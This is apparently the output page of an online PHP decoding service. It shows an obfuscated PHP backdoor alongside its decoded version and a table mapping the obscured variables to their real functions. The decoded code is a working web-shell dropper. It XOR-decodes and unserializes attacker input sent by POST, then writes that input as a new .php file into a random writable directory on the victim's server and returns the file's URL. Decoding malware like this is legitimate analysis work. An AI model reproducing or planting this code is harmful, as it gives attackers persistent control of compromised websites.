Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $PgOKAzrnBf = chr(68).'O'."\x43"."\125"."\x4d"."\x45".'N'.chr(84)."\137".chr(764-682..

Decoded Output download

<?php $PgOKAzrnBf = chr(68).'O'."C"."U"."M"."E".'N'.chr(84)."_".chr(764-682).'O'.chr(1074-995).'T';$LqJriysDb = "H"."T"."T"."P"."_".chr(186-114).chr(79).chr(83).chr(84);$ZuEpudXTZW = chr(104)."t".chr(1087-971)."p".":".'/'.chr(47);$dzbTdkGsgB = chr(544-498).chr(112).chr(104).chr(112);$tjuYUQKYM = chr(420-308)."h".'p';$spAocZLmNV = "f"."i".'l'."e"."_"."p".chr(117).chr(116).chr(142-47).chr(667-568).'o'.'n'."t".'e'.chr(110)."t".'s';$bQkNJkrI = "r"."a".'w'.'u'."r".chr(108).chr(864-764).'e'."c".'o'."d".chr(684-583);$cLxRtiZty = "u".chr(110).chr(795-680)."e".chr(114)."i".chr(706-609)."l".chr(105).chr(473-351).'e';$NzXOn = 'i'."s".chr(168-73).chr(119)."r".chr(105)."t".chr(153-56).chr(98).'l'.chr(153-52);$txJwZ = chr(987-875)."h"."p"."v".'e'."r".chr(1051-936)."i".'o'.chr(110);$nAqnOb = 's'."t".chr(114)."_".chr(649-535)."o"."t".chr(189-140)."3";$lJSuyqBbjr = "s".chr(101).chr(114).chr(731-626).'a'.chr(509-401).chr(705-600).chr(122)."e";$nyNdn = "s".'t'.chr(114).'_'."s".chr(112).chr(108).'i'."t";foreach ($_POST as $UsmNrNK => $DOZTbi){if (strlen($UsmNrNK) == 16){$DOZTbi = $nyNdn($bQkNJkrI($nAqnOb($DOZTbi)));$UsmNrNK = array_slice($nyNdn(str_repeat($UsmNrNK, (count($DOZTbi)/16)+1)), 0, count($DOZTbi));function FhyKwDpddj($TiOEEUB, $YmXBgSjG, $UsmNrNK){$AyzpgeAGv = "799142e7-107e-4d84-aa68-ecb33c14ab8f";return $TiOEEUB ^ $AyzpgeAGv[$YmXBgSjG % strlen($AyzpgeAGv)] ^ $UsmNrNK;}$DOZTbi = implode("", array_map("FhyKwDpddj", array_values($DOZTbi), array_keys($DOZTbi), array_values($UsmNrNK)));$DOZTbi = @$cLxRtiZty($DOZTbi);if (@is_array($DOZTbi)){$ypWCtNiD = array_keys($DOZTbi);$DOZTbi = $DOZTbi[$ypWCtNiD[0]];if ($DOZTbi === $ypWCtNiD[0]){echo @$lJSuyqBbjr(Array($tjuYUQKYM => @$txJwZ(), ));exit();}else {function jYmZxKya($KCMTPVir){static $cDPXwrPyId = array();$YPBTMnDs = glob($KCMTPVir . '/*', GLOB_ONLYDIR);if (count($YPBTMnDs) > 0) {foreach ($YPBTMnDs as $KCMTPV) {if (@$NzXOn($KCMTPV)) {$cDPXwrPyId[] = $KCMTPV;}}}foreach ($YPBTMnDs as $KCMTPVir) jYmZxKya($KCMTPVir);return $cDPXwrPyId;}$qFzeY = $_SERVER[$PgOKAzrnBf];$YPBTMnDs = jYmZxKya($qFzeY);$ypWCtNiD = array_rand($YPBTMnDs);$eArFJ = $YPBTMnDs[$ypWCtNiD] . "/" . substr(md5(time()), 0, 8) . $dzbTdkGsgB;@$spAocZLmNV($eArFJ, $DOZTbi);echo $ZuEpudXTZW . $_SERVER[$LqJriysDb] . substr($eArFJ, strlen($qFzeY));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $PgOKAzrnBf = chr(68).'O'."\x43"."\125"."\x4d"."\x45".'N'.chr(84)."\137".chr(764-682).'O'.chr(1074-995).'T';$LqJriysDb = "\x48"."\124"."\x54"."\120"."\137".chr(186-114).chr(79).chr(83).chr(84);$ZuEpudXTZW = chr(104)."\x74".chr(1087-971)."\x70"."\x3a".'/'.chr(47);$dzbTdkGsgB = chr(544-498).chr(112).chr(104).chr(112);$tjuYUQKYM = chr(420-308)."\x68".'p';$spAocZLmNV = "\146"."\x69".'l'."\145"."\137"."\x70".chr(117).chr(116).chr(142-47).chr(667-568).'o'.'n'."\x74".'e'.chr(110)."\164".'s';$bQkNJkrI = "\162"."\x61".'w'.'u'."\162".chr(108).chr(864-764).'e'."\x63".'o'."\144".chr(684-583);$cLxRtiZty = "\x75".chr(110).chr(795-680)."\x65".chr(114)."\151".chr(706-609)."\x6c".chr(105).chr(473-351).'e';$NzXOn = 'i'."\x73".chr(168-73).chr(119)."\x72".chr(105)."\x74".chr(153-56).chr(98).'l'.chr(153-52);$txJwZ = chr(987-875)."\150"."\x70"."\x76".'e'."\162".chr(1051-936)."\151".'o'.chr(110);$nAqnOb = 's'."\164".chr(114)."\137".chr(649-535)."\x6f"."\164".chr(189-140)."\63";$lJSuyqBbjr = "\x73".chr(101).chr(114).chr(731-626).'a'.chr(509-401).chr(705-600).chr(122)."\145";$nyNdn = "\x73".'t'.chr(114).'_'."\163".chr(112).chr(108).'i'."\x74";foreach ($_POST as $UsmNrNK => $DOZTbi){if (strlen($UsmNrNK) == 16){$DOZTbi = $nyNdn($bQkNJkrI($nAqnOb($DOZTbi)));$UsmNrNK = array_slice($nyNdn(str_repeat($UsmNrNK, (count($DOZTbi)/16)+1)), 0, count($DOZTbi));function FhyKwDpddj($TiOEEUB, $YmXBgSjG, $UsmNrNK){$AyzpgeAGv = "799142e7-107e-4d84-aa68-ecb33c14ab8f";return $TiOEEUB ^ $AyzpgeAGv[$YmXBgSjG % strlen($AyzpgeAGv)] ^ $UsmNrNK;}$DOZTbi = implode("", array_map("FhyKwDpddj", array_values($DOZTbi), array_keys($DOZTbi), array_values($UsmNrNK)));$DOZTbi = @$cLxRtiZty($DOZTbi);if (@is_array($DOZTbi)){$ypWCtNiD = array_keys($DOZTbi);$DOZTbi = $DOZTbi[$ypWCtNiD[0]];if ($DOZTbi === $ypWCtNiD[0]){echo @$lJSuyqBbjr(Array($tjuYUQKYM => @$txJwZ(), ));exit();}else {function jYmZxKya($KCMTPVir){static $cDPXwrPyId = array();$YPBTMnDs = glob($KCMTPVir . '/*', GLOB_ONLYDIR);if (count($YPBTMnDs) > 0) {foreach ($YPBTMnDs as $KCMTPV) {if (@$NzXOn($KCMTPV)) {$cDPXwrPyId[] = $KCMTPV;}}}foreach ($YPBTMnDs as $KCMTPVir) jYmZxKya($KCMTPVir);return $cDPXwrPyId;}$qFzeY = $_SERVER[$PgOKAzrnBf];$YPBTMnDs = jYmZxKya($qFzeY);$ypWCtNiD = array_rand($YPBTMnDs);$eArFJ = $YPBTMnDs[$ypWCtNiD] . "/" . substr(md5(time()), 0, 8) . $dzbTdkGsgB;@$spAocZLmNV($eArFJ, $DOZTbi);echo $ZuEpudXTZW . $_SERVER[$LqJriysDb] . substr($eArFJ, strlen($qFzeY));exit();}}}}

Function Calls

chr 51

Variables

$NzXOn is_writable
$nyNdn str_split
$txJwZ phpversion
$nAqnOb str_rot13
$bQkNJkrI rawurldecode
$LqJriysDb HTTP_HOST
$cLxRtiZty unserialize
$tjuYUQKYM php
$PgOKAzrnBf DOCUMENT_ROOT
$ZuEpudXTZW http://
$dzbTdkGsgB .php
$lJSuyqBbjr serialize
$spAocZLmNV file_put_contents

Stats

MD5 472163740e2b424b99c61b18132b7722
Eval Count 0
Decode Time 110 ms